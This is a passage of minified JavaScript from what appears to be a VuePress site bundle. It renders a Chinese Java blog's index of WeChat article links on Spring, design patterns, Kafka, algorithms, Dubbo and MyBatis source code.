"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489170&idx=1&sn=54fd5ea7592a614e83b73527b8b0fbc2&chksm=cf55a193f8222885628dec6bd4d8d5a840039b914e12361718916b6ff033d5415298e6db31c1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为啥你用@JsonFormat注解反序列化LocalDateTime总失败?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489112&idx=1&sn=b70f339a3a7c09e91d4d6c7b08db1f00&chksm=cf55a159f822284fd0bdb37a1e7603157486a02787c7f4d4b044a14197bb9806c4babaadd94b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现多数据源读写分离?这是我看过最详细的一篇!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489109&idx=1&sn=e15dd6789f190868c8ee19046d1f676d&chksm=cf55a154f822284203bd64fd9ad23c38aa7d502780c3577cbfb12ac2c2e9160a21a251c65274&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一张图带你彻底理解Spring如何解决循环依赖!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489102&idx=1&sn=b09b429c8e40863208dafa47f554e15f&chksm=cf55a14ff8222859fe8b31d32dcb7a722ef1c539befc5e093b64fdbb3da99fb22dd3bfc6ec35&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Spring AOP核心类解析,这是最全的一篇了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491199&idx=1&sn=524a1942c88d19e0536a2b1a06c4d3de&chksm=cf55a97ef8222068e51544a288302363290dd95c4bab7bd78205ffd5784c838cbfa745183e6c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴们在催更Spring系列,于是我汇总了Spring中的各项注解!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491259&idx=1&sn=8bda41604df41c407d6d3b6820c5495f&chksm=cf55a9baf82220acb058117cf4c3b204d2f911839abf05258f6e3c55b25038c98d5337e2e7a5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一张图带你窥探「Spring注解系列」到底要更新些啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491307&idx=1&sn=6eec4078f4eea8c265682784ab9a6b13&chksm=cf55a9eaf82220fcc54c4a15876335b2bc95b7ed6e3cc0524247379e401716cfdb166f404366&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("AnnotationAwareAspectJAutoProxyCreator类是干嘛的?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"设计模式系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#设计模式系列"}},[e._v("#")]),e._v(" 设计模式系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489263&idx=1&sn=05a86037bf7e07fe6b8e4c8b89dcb5a0&chksm=cf55a1eef82228f8a79b0440852a00e39c5d3a880ace7c08ae2b29aa631ab9db87151ecc5ecd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深入浅出Java 23种设计模式,最全PDF版本终于开放下载了!!面试必备!!(文末有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489408&idx=1&sn=84c48c9c3707691bd7709ebec66e82f1&chksm=cf55a081f8222997a7d2d80eba4f71cdab620c324b86a726f20c737738e608969e00f278a6b5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("设计模式汇总——你需要掌握的23种设计模式都在这儿了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489430&idx=1&sn=308eba7c5b9c53f61c45e58d5563d320&chksm=cf55a097f822298144844a7d59f0311f56a873f64aeb0ae80d096160fe42a345a6ab6aefd0be&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——抽象工厂模式(AbstractFactoty)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489429&idx=1&sn=31d7f6094a5c46d18f272c0bdf7ac086&chksm=cf55a094f822298295d82c0f26b82426fa6bbcb527666ab4dbd918e1fad88c385fab3111cb1b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——工厂方法(FactoryMethod)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489428&idx=1&sn=f1efabaaafedf1b18a0258f972a068c3&chksm=cf55a095f8222983d0a1a56c7c2493f6bffe4a815690ff75a4ef3ebe2559e8734e0ffa95be29&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——桥接模式(Bridge)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489427&idx=1&sn=cac4feff8a4c93ea9d593836d1c5f6a5&chksm=cf55a092f8222984c40b7d0e058fe447e8a554584ebb324f3b90ffb6d6784979edfe1f6bb12d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——建造者模式(Builder)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489426&idx=1&sn=5bda11d90dc3feaac9c30f78c3090eef&chksm=cf55a093f822298581fe6ec8dcbe4ec0e36db42d5d53fee89d30fb6bbe4cf2c14a1f9c70ee74&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——组合模式(Composite)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489425&idx=1&sn=e48b3e35131435375217f51ac4a7f7aa&chksm=cf55a090f8222986b2c94a2b87b15ef15c555ab8e936522a40cd880f30ba39b2dae461a0c960&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——原型模式(Prototype)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489424&idx=1&sn=d61288d307b30a8417cf0afa0c487816&chksm=cf55a091f82229877f9b78d45676553042668f5da842f517eceeb9bd5a01c213d65caeb779a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——适配器模式(Adapter)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489423&idx=1&sn=d1f747095fb9a6674134e06930a1767c&chksm=cf55a08ef8222998d98c9cb55783e59c45d7085260b2389906af286f3bd9ad49c82bffc47e50&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——装饰模式(Decorator)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489421&idx=1&sn=2a1612d1ec75f82a035c64dca2dd95f7&chksm=cf55a08cf822299a3c5169c8b14e3d3368080957f747b400ee3b02dae0bfb036b7d8f7f12b8d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——外观模式(Facade)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489420&idx=1&sn=c9b4c358b69b2bccc24b26b8615d1739&chksm=cf55a08df822299b52656b120e57d6c933098a6d9d9f29e65a5bee64fddaf7f26a78d39a1ed9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——享元模式(Flyweight)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489419&idx=1&sn=572121286c4bd29b172fd858ed1f3f4f&chksm=cf55a08af822299cb9ee19f9e936c7b072ada879d4a8b820d7e367b97e8b93b67b4adf161429&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——代理模式(proxy)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489418&idx=1&sn=2ba85330aaca7b0f32ef1d96d5c7e7ef&chksm=cf55a08bf822299d29f0812b7a2fe8ac81be2bc5024b12f538265befd955f0a54fa6114b8cca&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——责任链模式(COR)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489417&idx=1&sn=83b646905e3774ef2af7fc9d7e819a03&chksm=cf55a088f822299e16b2b15054d45359882a13cad13943358c32dcdc6691f8a15b3fa3f67c49&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——命令模式(Command)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489416&idx=1&sn=1e58a234a9e75d88be16cec587d32018&chksm=cf55a089f822299fe20aa89c4b02ed434ebde4205b0935fb7dab9d3e0c378ebc2acee83d03dc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——解析器模式(Interpreter)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489415&idx=1&sn=9640f75d501ac962443a0a99c58addae&chksm=cf55a086f82229909a702e48c291c68c73f93dd416c02530be835fde7c77cbafb7773b6897d6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——迭代器模式(interator)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489414&idx=1&sn=55cc6052e3a4485d140504a1f8a1b176&chksm=cf55a087f8222991ee211cfeb4287eef3159e10f8d36b82725f1271b36b48e6f2155b9d1d28f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——中介者模式(Mediator)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489413&idx=1&sn=1fb01653794d74b511845dc51cd64fda&chksm=cf55a084f82229927641a6db61ae4ec6b53577ce58634a6284bc51107d6fb30956dda5fa6fcb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——备忘录模式(Memento)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489412&idx=1&sn=53d91435feb3fd029b9bc2628ffb4240&chksm=cf55a085f82229937006fa35ee90f48910cede4c7a79a64dc890da7513a5d48ece68950fa148&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——观察者模式(Observer)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489411&idx=1&sn=2674d51ae141e39049303026ad2a5942&chksm=cf55a082f8222994a9ce4f99ddda574a42ca1625fa22be83a2b8eca853beb041c65810ddf9a5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——状态模式(State)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489410&idx=1&sn=f24282a37d2d2bde8d43ca9d19757826&chksm=cf55a083f822299582a45b51e6a48c54eaad0f2436e3a1972444c480836b1faad0f077f6bb48&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——策略模式(Strategy)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489409&idx=3&sn=3c1c0c2595733a760c8861cc19f5dc9c&chksm=cf55a080f8222996a5d907a92b9e29081244706636397962c34fef6d354f615c79922ad03b66&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——模板方法(TemplateMethod)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489409&idx=2&sn=e6b07bc483f6a6b73e7a5b96ffd4d67a&chksm=cf55a080f8222996e6fcdd8d92f2056a2d6fe92aa7c47ecde5695d66c24421792bcb2e43b3b9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——访问者模式(Visitor)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489409&idx=1&sn=60303bea6ab171a47d01de3333fec3b2&chksm=cf55a080f82229963e3e9460960dca4d3f4e8ce23960cd7e280febbe50d5db28a1c97cf20280&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈JAVA设计模式之——单例模式(Singleton)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"kafka系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#kafka系列"}},[e._v("#")]),e._v(" Kafka系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494670&idx=1&sn=8012de632d04b38bb70064baeb6c07ec&chksm=cf565b0ff821d219055d25f41c85d11ad4edcbb25250840f95ae68ad2c4d4d8b6c7cafcf8d4d&token=1772864567&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("搞懂Kafka的这个问题,你离大厂就不远了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491002&idx=1&sn=1079a5e6ad9bc4cc8415d1b0c6b05083&chksm=cf55aabbf82223ad91dd208261d09301b1f5ddd165049299577a55c13161c6c431076256bf7b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Kafka又出问题了!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"算法专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#算法专题"}},[e._v("#")]),e._v(" 算法专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489162&idx=1&sn=bd2fdce236e4737525445018e3151921&chksm=cf55a18bf822289d154547cb62aa95f5b99f398c32b4013f793cc60089f3444ee1541eba0732&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我整理了50道经典Java算法题,直接进了字节跳动!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"dubbo系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#dubbo系列"}},[e._v("#")]),e._v(" Dubbo系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489794&idx=1&sn=aa9efb732ac7fe3d2bc927c1491cae57&chksm=cf55ae03f82227157bb69cb487df2081b5b623d173b1df603be66347692acec56d455da6aae1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河开始对Dubbo下手了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489831&idx=1&sn=e1126303a91f8fccb6154196695c5e6e&chksm=cf55ae26f82227302f71ced14c0aa312f631c8f03df65650dd3a49dc7fa9f339685342c38f5a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("俯瞰Dubbo全局,阅读源码前必须掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490192&idx=1&sn=afedf86349f76c864f42b2b48a245c62&chksm=cf55ad91f8222487088c333cb7160dd63496f9754c5533dbc868d9ac875101cc67dc1483c0da&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我是如何在短期内快速掌握Dubbo的原理和源码的(纯干货)?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490352&idx=1&sn=fce0061cd1f33d0baa1c1cad81ea1b69&chksm=cf55ac31f82225272167f0e7a3ce8914e4efb3d7a3e650ed16af386146183b13b1cac08f5107&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Dubbo中的统一契约是如何实现的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489116&idx=1&sn=dd764beecc93368365b7a0393a78bc6f&chksm=cf55a15df822284b8543bc66e490af18240bc989c26281ff3b3c8234c8cf7a24fb95d0beeb4d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("结合实战和源码来聊聊Java中的SPI机制?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489460&idx=1&sn=ef7424f16b27379441b6c32db49bd478&chksm=cf55a0b5f82229a3bdeb54823b7a46ce449448f6fb4d19e565e689b946d389aeff190b309c53&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你了解过Java的SPI机制吗?再不了解你就Out了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489451&idx=1&sn=8443aad6127a1a08d5c9ada01ad354fb&chksm=cf55a0aaf82229bc969e66627b77fd5a17459967ba4345d72110de9da1bc66eef9b94acec41a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("改造低版本Dubbo,使其兼容Spring4或Spring5注解配置"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489450&idx=1&sn=e0507e7990a026059baea4a41020be8f&chksm=cf55a0abf82229bd4a29ef8c5a920286fd1cfd1c5d0e4cab702a98eb6634aacaefc2b6cf89c5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("低版本Dubbo与高版本Spring集成"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489449&idx=1&sn=e28368150114a2a2059cde72d6d74cbb&chksm=cf55a0a8f82229be914bb0c88b422b5fb47bb3c29bff53dd67f8a1ff71d8672b72e4d2414e75&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何将Dubbo服务打包成Jar文件吗?这篇文章帮你搞定!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489448&idx=1&sn=583eae9b2c29492d690143aeb9b96575&chksm=cf55a0a9f82229bfea3cedb75e7eee3292d89a61e1367ffaf0698897e131d2ecdada71bfe5bf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("使用Shell脚本维护Dubbo服务"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489447&idx=1&sn=03985c758e3ab14c698a73a2d054b9ee&chksm=cf55a0a6f82229b0c1002612b1f07604b83d5e5ecc4db5bd172906ee476193fa63f5bc9be1f8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("监控中心的介绍与简易监控中心的安装"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489446&idx=1&sn=1280e760a0d3a90bcf4fb1cb5e11b149&chksm=cf55a0a7f82229b13cf8f3de46e9134673c55b9d3d9198128b36a6bb6598fab96cdf6ac7109e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Dubbo 管理控制台的安装"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489445&idx=1&sn=602d31050340f353e8d3443c86d1f5cd&chksm=cf55a0a4f82229b21e232e3f7cbe0178917d98c32dcb7a30ef16f85656badb4a0d96f0cd8dcb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现Dubbo服务的集群"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489444&idx=1&sn=cb419ca548134d0adcf64b839a6e27b4&chksm=cf55a0a5f82229b34efd3fe83308015791e77ede9c735a9880638996c59160fe6b10f1804a3d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("分布式服务子系统的划分"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489443&idx=1&sn=eb8c0c2e1f498f0f98f25ad0a440d4cb&chksm=cf55a0a2f82229b49809a8a3fd776e76fe8165b4e8ecd7df48a9d8c6fd797f9a3c111b926220&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("服务接口的设计原则"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489442&idx=1&sn=e2d06304a682329ead315ee127621d34&chksm=cf55a0a3f82229b5658bff25091353eecd3b68374ba5cf16e2b9e80059ae24b88ee4a3fc743a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("几种负载均衡算法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489440&idx=1&sn=0057edbfaeebbfed4c30645181792742&chksm=cf55a0a1f82229b7bda7097262bd50cecaa89bdbf9de097272d857461fbd8ea66bba9beea5af&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程模型(Linux 用户线程数限制导致的 java.lang.OutOfMemoryError)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489439&idx=1&sn=6f3607682b5859c3cc9ec41fcee1b19e&chksm=cf55a09ef822298898f6d5ccfeadf4f5bcb087f210956c5b6da90eac6c06d5952f3d8c820710&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何使用Dubbo消费端直连服务提供者进行开发和调试吗??"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489438&idx=1&sn=98ea263476635db10ca8ac8785440de4&chksm=cf55a09ff82229895f5e5fc42f6ac734e03c3742f93b7d075b2144981db1c0cc16c347616e93&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("服务只订阅(开发调试)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489437&idx=1&sn=078b6726b051f1a07b54223a056a3d2f&chksm=cf55a09cf822298a25e08248e7c4052da1ec89045cd459f909d5742050c4520823b5b669a75b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Dubbo Filter实战"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"mybatis源码系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#mybatis源码系列"}},[e._v("#")]),e._v(" MyBatis源码系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494053&idx=1&sn=643c4fcd2502d54a4c90d25dfb600f43&chksm=cf565ea4f821d7b27672a7ebc1c3350ad9bffa3b10677856399236094efa64835f5ab754c2b6&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三天撸完了MyBatis,各位随便问!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489777&idx=1&sn=470f2d8277fe7d23c12a99de7953bef1&chksm=cf55aff0f82226e61991ebcab6c31adf28d3f86606937fcb6528dfae2e302eae0bc9fca7c18c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三万字带你彻底吃透MyBatis源码!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489436&idx=1&sn=5eae962c50043205c4b29b82cb6fcb7b&chksm=cf55a09df822298b40fc9d6de1f29bb881d532724918327ad681531b072c7960922fd360a9be&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("构建源码分析测试用例"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489435&idx=1&sn=def1275d8688259d50771b284cd0a1ea&chksm=cf55a09af822298c793df1877a4ecfb1f5778359c12c8659a360476828ee2ac6efc2c0103ea9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("配置解析创建SqlSessionFactory的过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489434&idx=1&sn=970fdb1b8655f844639445b621742b90&chksm=cf55a09bf822298d43784113fda8f19c4649464fea61f9502282dbed0145b707c3d57915a5a2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("SqlSession会话创建过程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489433&idx=1&sn=df29c3c6d8a4dcbf665478dcc40b2259&chksm=cf55a098f822298edadd4d28f2a4b16bc95bea6be05975eb44354be4b880b5d88b62a781de51&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener 